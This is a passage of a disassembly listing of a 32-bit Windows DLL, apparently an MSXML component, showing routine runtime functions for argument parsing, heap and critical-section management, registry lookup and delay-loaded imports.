; FUNCTION CHUNK AT 69B1141B SIZE 0000002F BYTES
; FUNCTION CHUNK AT 69B1A316 SIZE 00000003 BYTES
; FUNCTION CHUNK AT 69B24EEC SIZE 00000072 BYTES
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, [ebp+arg_4]
xor edx, edx
cmp [ebp+arg_0], edx
push edi
mov [esi], edx
mov edi, ecx
mov dword ptr [ebx], 1
jz short loc_69B1A33C
mov ecx, [ebp+arg_0]
add [ebp+arg_0], 4
mov [ecx], edi
loc_69B1A33C: ; CODE XREF: sub_69B1A319+18j
; sub_69B1A319+57j ...
cmp byte ptr [eax], 22h
jz loc_69B24EEC
inc dword ptr [esi]
test edi, edi
jz short loc_69B1A350
mov cl, [eax]
mov [edi], cl
inc edi
loc_69B1A350: ; CODE XREF: sub_69B1A319+30j
mov cl, [eax]
movzx ebx, cl
inc eax
test byte_69B95DE1[ebx], 4
jnz loc_69B24EFD
loc_69B1A363: ; CODE XREF: sub_69B1A319+ABF0j
test cl, cl
mov ebx, [ebp+arg_4]
jz loc_69B1143D
loc_69B1A36E: ; CODE XREF: sub_69B1A319+ABDFj
test edx, edx
jnz short loc_69B1A33C
cmp cl, 20h
jz short loc_69B1A37C
cmp cl, 9
jnz short loc_69B1A33C
loc_69B1A37C: ; CODE XREF: sub_69B1A319+5Cj
test edi, edi
jz short loc_69B1A384
mov byte ptr [edi-1], 0
loc_69B1A384: ; CODE XREF: sub_69B1A319-8EDBj
; sub_69B1A319+65j
and [ebp+var_4], 0
loc_69B1A388: ; CODE XREF: sub_69B1A319-8EF1j
cmp byte ptr [eax], 0
jz loc_69B1142D
loc_69B1A391: ; CODE XREF: sub_69B1A319-2j
mov cl, [eax]
cmp cl, 20h
jz loc_69B1A316
cmp cl, 9
jz loc_69B1A316
cmp byte ptr [eax], 0
jz loc_69B1142D
cmp [ebp+arg_0], 0
jz short loc_69B1A3BD
mov ecx, [ebp+arg_0]
add [ebp+arg_0], 4
mov [ecx], edi
loc_69B1A3BD: ; CODE XREF: sub_69B1A319+99j
inc dword ptr [ebx]
loc_69B1A3BF: ; CODE XREF: sub_69B1A319+107j
xor ebx, ebx
inc ebx
xor edx, edx
loc_69B1A3C4: ; CODE XREF: sub_69B1A319-8ED4j
cmp byte ptr [eax], 5Ch
jz loc_69B11443
cmp byte ptr [eax], 22h
jz loc_69B24F0E
loc_69B1A3D6: ; CODE XREF: sub_69B1A319+AC1Bj
test edx, edx
jnz loc_69B24F39
loc_69B1A3DE: ; CODE XREF: sub_69B1A319+AC2Dj
mov cl, [eax]
test cl, cl
jz loc_69B1141B
cmp [ebp+var_4], 0
jnz short loc_69B1A400
cmp cl, 20h
jz loc_69B1141B
cmp cl, 9
jz loc_69B1141B
loc_69B1A400: ; CODE XREF: sub_69B1A319+D3j
test ebx, ebx
jz short loc_69B1A41F
test edi, edi
jz short loc_69B1A422
movzx edx, cl
test byte_69B95DE1[edx], 4
jnz loc_69B24F4B
loc_69B1A418: ; CODE XREF: sub_69B1A319+AC38j
mov cl, [eax]
mov [edi], cl
inc edi
loc_69B1A41D: ; CODE XREF: sub_69B1A319+113j
; sub_69B1A319+AC40j
inc dword ptr [esi]
loc_69B1A41F: ; CODE XREF: sub_69B1A319+E9j
inc eax
jmp short loc_69B1A3BF
; ---------------------------------------------------------------------------
loc_69B1A422: ; CODE XREF: sub_69B1A319+EDj
movzx ecx, cl
test byte_69B95DE1[ecx], 4
jz short loc_69B1A41D
jmp loc_69B24F56
sub_69B1A319 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1A48F
loc_69B1A433: ; CODE XREF: sub_69B1A48F+37j
mov eax, [esi+10h]
add eax, [ebp+var_4]
push eax
call sub_69B1B1F3
mov eax, [esi+10h]
add eax, [ebp+var_4]
cmp dword_69B92940, 0
push 4000h ; dwFreeType
push ebx ; dwSize
push eax ; lpAddress
jnz short loc_69B1A483
call ds:VirtualFree ; VirtualFree
loc_69B1A45B: ; CODE XREF: sub_69B1A48F-7j
test eax, eax
jz short loc_69B1A4CC
or dword ptr [edi], 0FFFFFFFFh
mov eax, [ebp+arg_0]
dec dword ptr [eax+2024h]
mov eax, [esi+0Ch]
test eax, eax
jz short loc_69B1A476
cmp eax, edi
jbe short loc_69B1A479
loc_69B1A476: ; CODE XREF: sub_69B1A48F-1Fj
mov [esi+0Ch], edi
loc_69B1A479: ; CODE XREF: sub_69B1A48F-1Bj
inc [ebp+var_8]
dec [ebp+arg_4]
jz short loc_69B1A4D8
jmp short loc_69B1A4CC
; ---------------------------------------------------------------------------
loc_69B1A483: ; CODE XREF: sub_69B1A48F-3Cj
call sub_69B2D527
jmp short loc_69B1A45B
; ---------------------------------------------------------------------------
loc_69B1A48A: ; CODE XREF: sub_69B1A48F+17j
mov esi, [esi+4]
jmp short loc_69B1A4ED
; END OF FUNCTION CHUNK FOR sub_69B1A48F
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B1A48F proc near ; CODE XREF: sub_69B1E5B8-18p
; sub_69B1E5B8-9p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
; FUNCTION CHUNK AT 69B1A433 SIZE 0000005C BYTES
; FUNCTION CHUNK AT 69B23A91 SIZE 00000042 BYTES
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_0]
push ebx
push esi
mov esi, [eax+4]
push edi
mov ebx, 1000h
loc_69B1A4A2: ; CODE XREF: sub_69B1A48F+9639j
cmp dword ptr [esi+10h], 0FFFFFFFFh
jz short loc_69B1A48A
and [ebp+var_8], 0
lea edi, [esi+2010h]
mov [ebp+var_4], 3FF000h
nop
nop
nop
nop
nop
nop
nop
loc_69B1A4C0: ; CODE XREF: sub_69B1A48F+47j
cmp dword ptr [edi], 0EFh
jz loc_69B1A433
loc_69B1A4CC: ; CODE XREF: sub_69B1A48F-32j
; sub_69B1A48F-Ej
sub [ebp+var_4], ebx
sub edi, 8
cmp [ebp+var_4], 0
jge short loc_69B1A4C0
loc_69B1A4D8: ; CODE XREF: sub_69B1A48F-10j
cmp [ebp+var_8], 0
mov ecx, esi
mov esi, [esi+4]
jz short loc_69B1A4ED
cmp dword ptr [ecx+18h], 0FFFFFFFFh
jz loc_69B23A91
loc_69B1A4ED: ; CODE XREF: sub_69B1A48F-2j
; sub_69B1A48F+52j ...
mov eax, [ebp+arg_0]
cmp esi, [eax+4]
jnz loc_69B23AC4
loc_69B1A4F9: ; CODE XREF: sub_69B1A48F+963Fj
pop edi
pop esi
pop ebx
leave
retn
sub_69B1A48F endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1A509
loc_69B1A4FE: ; CODE XREF: sub_69B1A509+18j
cmp dword ptr [esi+4], 1
jz short loc_69B1A523
jmp loc_69B250A2
; END OF FUNCTION CHUNK FOR sub_69B1A509
; =============== S U B R O U T I N E =======================================
sub_69B1A509 proc near ; CODE XREF: sub_69B11F44+8j
; sub_69B11F44+1Cj
; FUNCTION CHUNK AT 69B1A4FE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 69B250A2 SIZE 00000012 BYTES
push ebx
mov ebx, ds:DeleteCriticalSection
push ebp
push esi
mov esi, offset lpCriticalSection
mov ebp, offset dword_69B927B8
push edi
loc_69B1A51D: ; CODE XREF: sub_69B1A509+1Fj
mov edi, [esi]
test edi, edi
jnz short loc_69B1A4FE
loc_69B1A523: ; CODE XREF: sub_69B1A509-7j
; sub_69B1A509+ABA6j
add esi, 8
cmp esi, ebp
jl short loc_69B1A51D
mov esi, offset lpCriticalSection
pop edi
loc_69B1A530: ; CODE XREF: sub_69B1A509+32j
mov eax, [esi]
test eax, eax
jnz short loc_69B1A541
loc_69B1A536: ; CODE XREF: sub_69B1A509+3Cj
; sub_69B1A509+41j
add esi, 8
cmp esi, ebp
jl short loc_69B1A530
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_69B1A541: ; CODE XREF: sub_69B1A509+2Bj
cmp dword ptr [esi+4], 1
jnz short loc_69B1A536
push eax ; lpCriticalSection
call ebx ; DeleteCriticalSection
jmp short loc_69B1A536
sub_69B1A509 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1992C
loc_69B1A54C: ; CODE XREF: sub_69B1992C+69j
; sub_69B1992C+C59j
cmp esi, 29h
jge loc_69B1A8E2
push esi
mov ecx, edi
call sub_69B1A954
mov [ebp-3Ch], eax
push dword_69B95A3C
push off_69B92238[esi*4] ; lpString
call sub_69B1A587
push eax
call sub_69B192B7
push eax
mov ecx, [ebp-3Ch]
call sub_69B199CC
inc esi
mov [ebp-34h], esi
jmp short loc_69B1A54C
; END OF FUNCTION CHUNK FOR sub_69B1992C
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_69B1A587(LPCWSTR lpString)
sub_69B1A587 proc near ; CODE XREF: sub_69B1992C+C41p
; sub_69B1992C+FD3p ...
lpString = dword ptr 4
push esi
mov esi, [esp+4+lpString]
test esi, esi
jz short loc_69B1A5A2
push esi ; lpString
call ds:lstrlenW ; lstrlenW
push eax
push esi
call sub_69B190D7
loc_69B1A59E: ; CODE XREF: sub_69B1A587+20j
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_69B1A5A2: ; CODE XREF: sub_69B1A587+7j
mov eax, offset off_69B1A5AC
jmp short loc_69B1A59E
sub_69B1A587 endp
; ---------------------------------------------------------------------------
align 4
off_69B1A5AC dd offset off_69B17D10 ; DATA XREF: sub_69B190C1:loc_69B190CFo
; sub_69B195DA+21o ...
dd 0
; UINT dword_69B1A5B4
dword_69B1A5B4 dd 0 ; sub_69B59A34+F3r ...
; OLECHAR *off_69B1A5B8
off_69B1A5B8 dd offset dword_69B1A5BC ; DATA XREF: sub_69B59A34+99r
; sub_69B59A34:loc_69B59B1Fr ...
dword_69B1A5BC dd 0
; =============== S U B R O U T I N E =======================================
sub_69B1A5C0 proc near ; CODE XREF: sub_69B76CAC+Dj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push ebp
push esi
push edi
mov esi, ecx
call sub_69B19118
lea edi, [esi+8]
mov ecx, edi
call sub_69B1818F
push [esp+10h+arg_4]
mov dword ptr [edi], offset off_69B1A660
xor ecx, ecx
mov dword ptr [esi], offset off_69B1A6B4
lea eax, [esi+18h]
mov [eax], ecx
lea edi, [esi+20h]
mov [edi], ecx
lea ebx, [esi+24h]
mov [ebx], ecx
lea ebp, [esi+28h]
mov [ebp+0], ecx
mov [esi+3Ch], ecx
mov ecx, [esp+14h+arg_0]
push eax
mov [esi+1Ch], ecx
call sub_69B17320
push 1
call sub_69B1A6EC
push eax
push edi
call sub_69B17320
push 1000h
call sub_69B76C95
push eax
lea eax, [esi+3Ch]
push eax
call sub_69B17320
push 0
push 1
push 10h
call sub_69B315DA
push eax
push ebx
call sub_69B17320
push 0
push 1
push 10h
call sub_69B315DA
push eax
push ebp
call sub_69B17320
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
retn 8
sub_69B1A5C0 endp
; ---------------------------------------------------------------------------
align 10h
off_69B1A660 dd offset sub_69B65C47 ; DATA XREF: sub_69B1A5C0+19o
dd offset sub_69B65C51
dd offset sub_69B65C5B
dd offset sub_69B7666F
dd offset sub_69B76F3B
dd offset sub_69B76F43
dd offset sub_69B76F4B
dd offset sub_69B6860C
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B768D1
dd offset sub_69B769A0
dd offset sub_69B76AFB
dd offset sub_69B76C81
dd offset sub_69B76463
dd offset sub_69B76486
dd offset sub_69B76499
dd offset sub_69B766B2
off_69B1A6B4 dd offset sub_69B6547B ; DATA XREF: sub_69B1A5C0+21o
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B7693D
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B2D632
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B76677
; =============== S U B R O U T I N E =======================================
sub_69B1A6EC proc near ; CODE XREF: sub_69B173D1+31p
; sub_69B1A5C0+4Ep ...
arg_0 = byte ptr 4
; FUNCTION CHUNK AT 69B24A9C SIZE 00000005 BYTES
push 28h
call sub_69B17EF3
test eax, eax
jz loc_69B24A9C
mov ecx, eax
push esi
mov esi, ecx
call sub_69B19118
xor eax, eax
mov [esi+20h], eax
mov [esi+14h], eax
mov [esi+10h], eax
mov al, [esp+4+arg_0]
mov ecx, esi
mov dword ptr [esi], offset off_69B126FC
mov [esi+24h], al
call sub_69B1A72A
mov eax, esi
pop esi
retn 4
sub_69B1A6EC endp
; =============== S U B R O U T I N E =======================================
sub_69B1A72A proc near ; CODE XREF: sub_69B1A6EC+33p
; sub_69B3DE0E+50p
push esi
mov esi, ecx
call sub_69B1D7F6
push eax
lea eax, [esi+1Ch]
push eax
call sub_69B17320
and dword ptr [esi+20h], 0
push 0
lea eax, [esi+18h]
push eax
call sub_69B17320
cmp byte ptr [esi+24h], 0
jz short loc_69B1A766
push 0
push 1
push 64h
call sub_69B1A768
push eax
add esi, 0Ch
push esi
call sub_69B17320
loc_69B1A766: ; CODE XREF: sub_69B1A72A+25j
pop esi
retn
sub_69B1A72A endp
; =============== S U B R O U T I N E =======================================
sub_69B1A768 proc near ; CODE XREF: sub_69B11E20+13p
; sub_69B1889C+17p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
; FUNCTION CHUNK AT 69B240E5 SIZE 00000005 BYTES
push 28h
call sub_69B17EF3
test eax, eax
jz loc_69B240E5
mov ecx, eax
push esi
push [esp+4+arg_8]
mov esi, ecx
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_69B1A799
mov dword ptr [esi], offset off_69B1C220
mov eax, esi
pop esi
retn 0Ch
sub_69B1A768 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B1A799 proc near ; CODE XREF: sub_69B1A768+20p
; sub_69B315A6+13p ...
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_8 = byte ptr 10h
; FUNCTION CHUNK AT 69B11CDB SIZE 00000023 BYTES
; FUNCTION CHUNK AT 69B23FCA SIZE 00000008 BYTES
push ebp
mov ebp, esp
push esi
push edi
mov esi, ecx
call sub_69B19118
push 10h
pop edi
cmp [ebp+arg_0], edi
mov dword ptr [esi], offset off_69B1C290
jl loc_69B23FCA
loc_69B1A7B7: ; CODE XREF: sub_69B1A799+9834j
fild [ebp+arg_0]
mov al, [ebp+arg_4]
fld ds:flt_69B1A828
mov [esi+8], al
mov dword ptr [esi+10h], 3F6B851Fh
fmul st, st(1)
call sub_69B1A82C
fmul ds:flt_69B122A0
mov [esi+14h], eax
call sub_69B1A82C
mov [esi+18h], eax
mov eax, [ebp+arg_0]
push eax
push edi
mov [esi+1Ch], eax
call sub_69B11CFE
mov edi, eax
test edi, edi
pop ecx
pop ecx
jz loc_69B11CF7
mov ecx, edi
call sub_69B19118
mov dword ptr [edi], offset off_69B171C8
loc_69B1A80B: ; CODE XREF: sub_69B1A799-8AA0j
push edi
lea eax, [esi+20h]
push eax
call sub_69B17320
cmp [ebp+arg_8], 0
jnz loc_69B11CDB
loc_69B1A81F: ; CODE XREF: sub_69B1A799-8AA7j
pop edi
mov eax, esi
pop esi
pop ebp
retn 0Ch
sub_69B1A799 endp
; ---------------------------------------------------------------------------
align 4
flt_69B1A828 dd 9.2000002e-1 ; DATA XREF: sub_69B1A799+24r
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B1A82C proc near ; CODE XREF: sub_69B1A799+36p
; sub_69B1A799+44p ...
var_20 = dword ptr -20h
var_10 = qword ptr -10h
var_8 = dword ptr -8
; FUNCTION CHUNK AT 69B22430 SIZE 0000003E BYTES
push ebp
mov ebp, esp
sub esp, 20h
and esp, 0FFFFFFF0h
fld st
fst [esp+20h+var_8]
fistp [esp+20h+var_10]
fild [esp+20h+var_10]
mov edx, [esp+20h+var_8]
mov eax, dword ptr [esp+20h+var_10]
test eax, eax
jz loc_69B22451
loc_69B1A853: ; CODE XREF: sub_69B1A82C+7C2Fj
fsubp st(1), st
test edx, edx
js loc_69B22430
fstp [esp+20h+var_20]
mov ecx, [esp+20h+var_20]
add ecx, 7FFFFFFFh
sbb eax, 0
mov edx, dword ptr [esp+20h+var_10+4]
sbb edx, 0
locret_69B1A873: ; CODE XREF: sub_69B1A82C+7C20j
; sub_69B1A82C+7C3Dj
leave
retn
sub_69B1A82C endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B19038
loc_69B1A875: ; CODE XREF: sub_69B19038+18j
call dword_69B92948
mov [ebp-20h], eax
test eax, eax
jz loc_69B25746
mov ecx, [esi+8]
shr ecx, 2
not ecx
and ecx, 1
push ecx
push eax
lea ecx, [ebp-2Ch]
call sub_69B1A8C7
and dword ptr [ebp-4], 0
mov [ebp-30h], esi
mov [ebp-34h], esi
mov eax, [esi]
push 1
mov ecx, esi
call dword ptr [eax]
loc_69B1A8AD: ; CODE XREF: sub_69B25759+3j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-2Ch]
call sub_69B1976C
push dword ptr [ebp-20h]
call dword_69B92944
jmp loc_69B19056
; END OF FUNCTION CHUNK FOR sub_69B19038
; =============== S U B R O U T I N E =======================================
sub_69B1A8C7 proc near ; CODE XREF: sub_69B19038+185Ep
; sub_69B1E244+1Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, ecx
mov ecx, [esp+arg_0]
mov [eax], ecx
mov edx, [ecx+2Ch]
mov [eax+4], edx
mov edx, [esp+arg_4]
mov [eax+8], edx
mov [ecx+2Ch], edx
retn 8
sub_69B1A8C7 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1992C
loc_69B1A8E2: ; CODE XREF: sub_69B1992C+C23j
; sub_69B1992C+FEBj
cmp esi, 2Ah
jge short loc_69B1A919
push esi
mov ecx, edi
call sub_69B1A954
mov [ebp-40h], eax
push dword_69B95A34
push off_69B92238[esi*4] ; lpString
call sub_69B1A587
push eax
call sub_69B192B7
push eax
mov ecx, [ebp-40h]
call sub_69B199CC
inc esi
mov [ebp-34h], esi
jmp short loc_69B1A8E2
; ---------------------------------------------------------------------------
loc_69B1A919: ; CODE XREF: sub_69B1992C+FB9j
; sub_69B1992C+1026j
cmp esi, 32h
jge loc_69B11DD9
push esi
mov ecx, edi
call sub_69B1A954
mov [ebp-44h], eax
push dword_69B95A54
push off_69B92238[esi*4] ; lpString
call sub_69B1A587
push eax
call sub_69B192B7
push eax
mov ecx, [ebp-44h]
call sub_69B199CC
inc esi
mov [ebp-34h], esi
jmp short loc_69B1A919
; END OF FUNCTION CHUNK FOR sub_69B1992C
; =============== S U B R O U T I N E =======================================
sub_69B1A954 proc near ; CODE XREF: sub_69B19E6E-BDAp
; sub_69B1992C+72p ...
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
test edi, edi
mov esi, ecx
jl short loc_69B1A96E
cmp edi, [esi+8]
jge short loc_69B1A96E
loc_69B1A965: ; CODE XREF: sub_69B1A954+1Fj
lea eax, [esi+edi*4+0Ch]
pop edi
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_69B1A96E: ; CODE XREF: sub_69B1A954+Aj
; sub_69B1A954+Fj
call sub_69B2E6D8
jmp short loc_69B1A965
sub_69B1A954 endp
; =============== S U B R O U T I N E =======================================
sub_69B1A975 proc near ; CODE XREF: sub_69B1ABCC+Fp
push esi
call sub_69B1A9C6
mov eax, dword_69B92174
mov esi, ds:HeapAlloc
shl eax, 2
push eax ; dwBytes
push 8 ; dwFlags
push hHeap ; hHeap
call esi ; HeapAlloc
mov lpMem, eax
mov eax, dword_69B92178
shl eax, 2
push eax ; dwBytes
push 8 ; dwFlags
push hHeap ; hHeap
call esi ; HeapAlloc
cmp lpMem, 0
mov dword_69B92984, eax
pop esi
jz short loc_69B1A9C3
test eax, eax
jz short loc_69B1A9C3
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
loc_69B1A9C3: ; CODE XREF: sub_69B1A975+44j
; sub_69B1A975+48j
xor eax, eax
retn
sub_69B1A975 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B1A9C6 proc near ; CODE XREF: sub_69B1A975+1p
Data = byte ptr -10h
cbData = dword ptr -0Ch
hKey = dword ptr -8
Type = dword ptr -4
; FUNCTION CHUNK AT 69B22D22 SIZE 000000E6 BYTES
push ebp
mov ebp, esp
sub esp, 10h
push ebx
lea eax, [ebp+hKey]
push eax ; phkResult
push 1 ; samDesired
xor ebx, ebx
push ebx ; ulOptions
push offset SubKey ; "Software\\Microsoft\\Msxml26"
push 80000002h ; hKey
call RegOpenKeyExA ; RegOpenKeyExA
test eax, eax
jz loc_69B22D22
loc_69B1A9EE: ; CODE XREF: sub_69B1A9C6+843Dj
mov eax, Data
add eax, eax
mov dword_69B92180, eax
pop ebx
leave
retn
sub_69B1A9C6 endp
; ---------------------------------------------------------------------------
align 10h
; char SubKey[]
SubKey db 'Software\Microsoft\Msxml26',0 ; DATA XREF: sub_69B1A9C6+10o
; ---------------------------------------------------------------------------
mov eax, offset RegOpenKeyExA
jmp short $+2
loc_69B1AA22: ; CODE XREF: .text:69B87F91j
; .text:69B87F9Bj ...
push ecx
push edx
push eax
push offset ADVAPI32_dll_import_table
call sub_69B1AA33
pop edx
pop ecx
jmp eax
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B1AA33(LONG hModule, DWORD Arguments)
sub_69B1AA33 proc near ; CODE XREF: .text:69B1AA2Ap
; .text:69B87D5Ap ...
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
lpLibFileName = dword ptr -3Ch
var_38 = dword ptr -38h
lpProcName = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
Target = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
hModule = dword ptr 8
Arguments = dword ptr 0Ch
; FUNCTION CHUNK AT 69B25774 SIZE 00000167 BYTES
push ebp
mov ebp, esp
sub esp, 48h
push ebx
push esi
mov esi, [ebp+hModule]
push edi
xor ebx, ebx
push ebx
push dword ptr [esi+4]
call sub_69B1ABC1
push ebx
push dword ptr [esi+8]
mov edi, eax
call sub_69B1ABC1
push ebx
push dword ptr [esi+0Ch]
mov [ebp+Target], eax
call sub_69B1ABC1
push ebx
push dword ptr [esi+10h]
mov [ebp+var_18], eax
call sub_69B1ABC1
push ebx
push dword ptr [esi+14h]
mov [ebp+var_14], eax
call sub_69B1ABC1
mov ecx, [ebp+Arguments]
mov [ebp+var_10], eax
mov eax, [esi+1Ch]
mov [ebp+var_8], eax
xor eax, eax
mov [ebp+lpLibFileName], edi
lea edi, [ebp+lpProcName]
mov [ebp+var_48], 24h
mov [ebp+var_44], esi
mov [ebp+var_40], ecx
mov [ebp+var_38], ebx
stosd
mov eax, [esi]
and eax, 1
add esp, 28h
test al, al
mov [ebp+var_30], ebx
mov [ebp+var_2C], ebx
mov [ebp+var_28], ebx
jz loc_69B25774
mov eax, [ebp+Target]
mov eax, [eax]
mov [ebp+hModule], eax
mov eax, ecx
sub eax, [ebp+var_18]
mov ecx, [ebp+var_14]
sar eax, 2
shl eax, 2
mov [ebp+var_4], eax
add eax, ecx
mov ecx, [eax]
shr ecx, 1Fh
not ecx
and ecx, 1
mov [ebp+var_38], ecx
jz loc_69B1AB9A
push ebx
push dword ptr [eax]
call sub_69B1ABC1
pop ecx
inc eax
pop ecx
inc eax
loc_69B1AAF1: ; CODE XREF: sub_69B1AA33+16Ej
mov [ebp+lpProcName], eax
mov eax, dword_69B95DB4
xor edi, edi
cmp eax, ebx
jnz loc_69B25793
loc_69B1AB03: ; CODE XREF: sub_69B1AA33+AD71j
cmp [ebp+hModule], ebx
jnz short loc_69B1AB43
mov eax, dword_69B95DB4
cmp eax, ebx
jnz loc_69B257A9
loc_69B1AB15: ; CODE XREF: sub_69B1AA33+17Ej
push [ebp+lpLibFileName] ; lpLibFileName
call ds:LoadLibraryA ; LoadLibraryA
cmp eax, ebx
mov [ebp+hModule], eax
jz loc_69B257B6
loc_69B1AB29: ; CODE XREF: sub_69B1AA33+178j
; sub_69B1AA33+ADA2j
push [ebp+hModule] ; Value
push [ebp+Target] ; Target
call ds:InterlockedExchange ; InterlockedExchange
cmp eax, [ebp+hModule]
jz short loc_69B1ABB6
cmp [esi+18h], ebx
jnz loc_69B257FB
loc_69B1AB43: ; CODE XREF: sub_69B1AA33+D3j
; sub_69B1AA33+18Cj ...
mov eax, [ebp+hModule]
mov [ebp+var_30], eax
mov eax, dword_69B95DB4
cmp eax, ebx
jnz loc_69B25818
loc_69B1AB56: ; CODE XREF: sub_69B1AA33+ADEFj
cmp edi, ebx
jnz short loc_69B1AB7F
cmp [esi+14h], ebx
jz short loc_69B1AB68
cmp [esi+1Ch], ebx
jnz loc_69B25827
loc_69B1AB68: ; CODE XREF: sub_69B1AA33+12Aj
mov ecx, [ebp+hModule]
loc_69B1AB6B: ; CODE XREF: sub_69B1AA33+AE02j
; sub_69B1AA33+AE0Ej ...
push [ebp+lpProcName] ; lpProcName
push ecx ; hModule
call ds:GetProcAddress ; GetProcAddress
mov edi, eax
cmp edi, ebx
jz loc_69B2587E
loc_69B1AB7F: ; CODE XREF: sub_69B1AA33+125j
; sub_69B1AA33+AE69j ...
mov eax, [ebp+Arguments]
mov [eax], edi
loc_69B1AB84: ; CODE XREF: sub_69B1AA33+AD6Bj
; sub_69B1AA33+AE46j
mov eax, dword_69B95DB4
cmp eax, ebx
jnz loc_69B258C2
loc_69B1AB91: ; CODE XREF: sub_69B1AA33+AEA3j
mov eax, edi
loc_69B1AB93: ; CODE XREF: sub_69B1AA33+AD5Bj
; sub_69B1AA33+ADC3j
pop edi
pop esi
pop ebx
leave
retn 8
; ---------------------------------------------------------------------------
loc_69B1AB9A: ; CODE XREF: sub_69B1AA33+ACj
mov eax, [eax]
and eax, 0FFFFh
jmp loc_69B1AAF1
; ---------------------------------------------------------------------------
loc_69B1ABA6: ; CODE XREF: sub_69B1AA33+AD7Ej
cmp eax, ebx
mov [ebp+hModule], eax
jnz loc_69B1AB29
jmp loc_69B1AB15
; ---------------------------------------------------------------------------
loc_69B1ABB6: ; CODE XREF: sub_69B1AA33+105j
push [ebp+hModule] ; hLibModule
call ds:FreeLibrary ; FreeLibrary
jmp short loc_69B1AB43
sub_69B1AA33 endp
; =============== S U B R O U T I N E =======================================
sub_69B1ABC1 proc near ; CODE XREF: sub_69B1AA33+12p
; sub_69B1AA33+1Dp ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
lea eax, __ImageBase[eax]
retn
sub_69B1ABC1 endp
; =============== S U B R O U T I N E =======================================
sub_69B1ABCC proc near ; CODE XREF: DllEntryPoint+14p
call ds:GetProcessHeap ; GetProcessHeap
test eax, eax
mov hHeap, eax
jz short loc_69B1ABFB
call sub_69B1A975
test eax, eax
jz short loc_69B1ABFB
call sub_69B1CA7C
call sub_69B1ABFE
test eax, eax
jz short loc_69B1ABFB
call sub_69B19BC1
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
loc_69B1ABFB: ; CODE XREF: sub_69B1ABCC+Dj
; sub_69B1ABCC+16j ...
xor eax, eax
retn
sub_69B1ABCC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B1ABFE proc near ; CODE XREF: sub_69B1ABCC+1Dp
SystemInfo = _SYSTEM_INFO ptr -24h
; FUNCTION CHUNK AT 69B23894 SIZE 0000000F BYTES
push ebp
mov ebp, esp
sub esp, 24h
lea eax, [ebp+SystemInfo]
push eax ; lpSystemInfo
call ds:GetSystemInfo ; GetSystemInfo
cmp [ebp+SystemInfo.dwNumberOfProcessors], 1
push 0
push 0
setnbe al
push 0
mov byte_69B929CC, al
call sub_69B1AC42
cmp dword_69B92954, 1
mov dword_69B949F8, eax
jz loc_69B23894
loc_69B1AC37: ; CODE XREF: sub_69B1ABFE+8CA0j
xor ecx, ecx
test eax, eax
setnz cl
mov eax, ecx
leave
retn
sub_69B1ABFE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B1AC42 proc near ; CODE XREF: sub_69B1ABFE+22p
SystemInfo = _SYSTEM_INFO ptr -2Ch
dwInitialSize = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
; FUNCTION CHUNK AT 69B23857 SIZE 0000003D BYTES
push ebp
mov ebp, esp
sub esp, 2Ch
push ebx
xor ebx, ebx
cmp [ebp+arg_0], ebx
jnz loc_69B23857
cmp [ebp+arg_8], ebx
jnz short loc_69B1AC6C
lea eax, [ebp+SystemInfo]
push eax ; lpSystemInfo
call ds:GetSystemInfo ; GetSystemInfo
mov eax, [ebp+SystemInfo.dwNumberOfProcessors]
add eax, 3
mov [ebp+arg_8], eax
loc_69B1AC6C: ; CODE XREF: sub_69B1AC42+15j
mov eax, [ebp+arg_4]
push esi
mov esi, [ebp+arg_8]
xor edx, edx
div esi
push edi
push ebx ; dwMaximumSize
push eax ; dwInitialSize
push 1 ; flOptions
mov [ebp+dwInitialSize], eax
call ds:HeapCreate ; HeapCreate
mov edi, eax
cmp edi, ebx
